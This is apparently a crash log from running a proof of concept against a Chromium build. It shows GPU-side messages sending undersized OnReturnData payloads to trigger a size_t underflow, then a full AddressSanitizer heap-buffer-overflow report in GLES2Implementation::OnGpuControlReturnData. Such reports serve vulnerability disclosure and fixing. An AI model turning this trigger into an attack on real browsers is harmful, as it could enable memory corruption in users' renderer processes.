[POC-GPU] DoLinkProgram(client_id=3) -> sending undersized OnReturnData payloads to trigger size_t underflow in client
[POC-GPU] DoLinkProgram(client_id=4) -> sending undersized OnReturnData payloads to trigger size_t underflow in client
[POC-GPU] DoLinkProgram(client_id=5) -> sending undersized OnReturnData payloads to trigger size_t underflow in client
[POC-GPU] DoLinkProgram(client_id=6) -> sending undersized OnReturnData payloads to trigger size_t underflow in client
[POC-GPU] DoLinkProgram(client_id=7) -> sending undersized OnReturnData payloads to trigger size_t underflow in client
[2941:2941:0402/233131.926621:INFO:CONSOLE:11] "WebGL context created", source: http://127.0.0.1:9876/poc.html (11)
[2941:2941:0402/233131.926865:INFO:CONSOLE:11] "Calling gl.linkProgram() ...", source: http://127.0.0.1:9876/poc.html (11)
[2941:2941:0402/233131.927148:INFO:CONSOLE:11] "linkProgram returned. Forcing flush...", source: http://127.0.0.1:9876/poc.html (11)
[2941:2941:0402/233131.940144:INFO:CONSOLE:11] "Done. If you see this in the browser, ASAN did not fire on the OOB read of program_client_id. Check stderr for the ASAN report from the renderer process.", source: http://127.0.0.1:9876/poc.html (11)
=================================================================
==3036==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b215a234fb4 at pc 0x55dff451f92b bp 0x7fffb6581f10 sp 0x7fffb6581f08
READ of size 4 at 0x7b215a234fb4 thread T0 (chrome)
    #0 0x55dff451f92a in non-virtual thunk to gpu::gles2::GLES2Implementation::OnGpuControlReturnData(base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>) gpu/command_buffer/client/gles2_implementation.cc:194:43
    #1 0x55dfd9087cae in gpu::mojom::CommandBufferClientStubDispatch::Accept(gpu::mojom::CommandBufferClient*, mojo::Message*) gen/gpu/ipc/common/gpu_channel.mojom.cc:6418:13
    #2 0x55dfef053939 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
    #3 0x55dfef0717c1 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
    #4 0x55dfef059de3 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #5 0x55dff2f7a09d in IPC::ChannelAssociatedGroupController::AcceptOnEndpointThread(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1199:24
    #6 0x55dff2f7c525 in base::internal::Invoker<base::internal::FunctorTraits<void (IPC::ChannelAssociatedGroupController::*&&)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), IPC::ChannelAssociatedGroupController*&&, mojo::Message&&, IPC::(anonymous namespace)::ScopedUrgentMessageNotification&&>, base::internal::BindState<true, true, false, void (IPC::ChannelAssociatedGroupController::*)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), scoped_refptr<IPC::ChannelAssociatedGroupController>, mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #7 0x55dfef293bf6 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #8 0x55dfef30b299 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #9 0x55dfef30a10a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:340:40
    #10 0x55dfef1521f7 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #11 0x55dfef30c9a7 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:644:12
    #12 0x55dfef20e570 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #13 0x55dffb59817b in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:337:16
    #14 0x55dfeadaba2f in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
    #15 0x55dfeadacd5f in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
    #16 0x55dfeadafa68 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
    #17 0x55dfeada9441 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
    #18 0x55dfeada9a3c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
    #19 0x55dfd72deb39 in ChromeMain chrome/app/chrome_main.cc:191:12
    #20 0x7f015c02b249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)

0x7b215a234fb4 is located 0 bytes after 4-byte region [0x7b215a234fb0,0x7b215a234fb4)
allocated by thread T0 (chrome) here:
    #0 0x55dfd72dd3fd in operator new(unsigned long) (/chromium/chromium/src/out/asan/chrome+0x10e133fd) (BuildId: b1a79e40e9c0cffe)
    #1 0x55dfd7c49637 in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::vector(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:43:28
    #2 0x55dfd7e620fb in mojo::internal::Serializer<mojo::ArrayDataView<unsigned char>, std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>>::Deserialize(mojo::internal::Array_Data<unsigned char>*, std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>*, mojo::Message*) mojo/public/cpp/bindings/array_traits.h:149:17
    #3 0x55dfd9087c5e in gpu::mojom::CommandBufferClientStubDispatch::Accept(gpu::mojom::CommandBufferClient*, mojo::Message*) mojo/public/cpp/bindings/lib/serialization_forward.h:73:12
    #4 0x55dfef053939 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
    #5 0x55dfef0717c1 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
    #6 0x55dfef059de3 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #7 0x55dff2f7a09d in IPC::ChannelAssociatedGroupController::AcceptOnEndpointThread(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1199:24
    #8 0x55dff2f7c525 in base::internal::Invoker<base::internal::FunctorTraits<void (IPC::ChannelAssociatedGroupController::*&&)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), IPC::ChannelAssociatedGroupController*&&, mojo::Message&&, IPC::(anonymous namespace)::ScopedUrgentMessageNotification&&>, base::internal::BindState<true, true, false, void (IPC::ChannelAssociatedGroupController::*)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), scoped_refptr<IPC::ChannelAssociatedGroupController>, mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #9 0x55dfef293bf6 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #10 0x55dfef30b299 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #11 0x55dfef30a10a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:340:40
    #12 0x55dfef1521f7 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #13 0x55dfef30c9a7 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:644:12
    #14 0x55dfef20e570 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #15 0x55dffb59817b in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:337:16
    #16 0x55dfeadaba2f in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
    #17 0x55dfeadacd5f in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
    #18 0x55dfeadafa68 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
    #19 0x55dfeada9441 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
    #20 0x55dfeada9a3c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
    #21 0x55dfd72deb39 in ChromeMain chrome/app/chrome_main.cc:191:12
    #22 0x7f015c02b249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)

SUMMARY: AddressSanitizer: heap-buffer-overflow gpu/command_buffer/client/gles2_implementation.cc:194:43 in non-virtual thunk to gpu::gles2::GLES2Implementation::OnGpuControlReturnData(base::span<unsigned char const, 18446744073709551615ul, unsigned char const*>)
Shadow bytes around the buggy address:
  0x7b215a234d00: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
  0x7b215a234d80: f7 fa fd fd f7 fa fd fd f7 fa fd fa f7 fa 00 fa
  0x7b215a234e00: f7 fa 00 fa f7 fa 00 fa f7 fa fd fd f7 fa fd fa
  0x7b215a234e80: f7 fa fd fd f7 fa fd fd f7 fa fd fd f7 fa fd fd
  0x7b215a234f00: f7 fa fd fa f7 fa 00 00 f7 fa 00 fa f7 fa 04 fa
=>0x7b215a234f80: f7 fa fd fd f7 fa[04]fa fa fa fa fa fa fa fa fa
  0x7b215a235000: f7 fa 00 fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
  0x7b215a235080: f7 fa fd fa f7 fa fd fa f7 fa 00 fa f7 fa fd fa
  0x7b215a235100: f7 fa fd fa f7 fa 00 fa f7 fa fd fa f7 fa 00 00
  0x7b215a235180: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
  0x7b215a235200: f7 fa 00 fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==3036==ADDITIONAL INFO

==3036==Note: Please include this section with the ASan report.
Task trace:
    #0 0x55dff2f736b7 in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*) ipc/ipc_mojo_bootstrap.cc:1138:13


Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=2943 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-poc-profile --change-stack-guard-on-fork=enable --no-sandbox --ozone-platform=headless --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1775028800899200 --launch-time-ticks=143890253716 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,3390637985786981177,947335531529271134,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,18170026104282846097,16079672091408805963,4 --trace-process-track-uuid=3190708990997080739 --enable-logging=stderr --v=0`


==3036==END OF ADDITIONAL INFO

==3036==ABORTING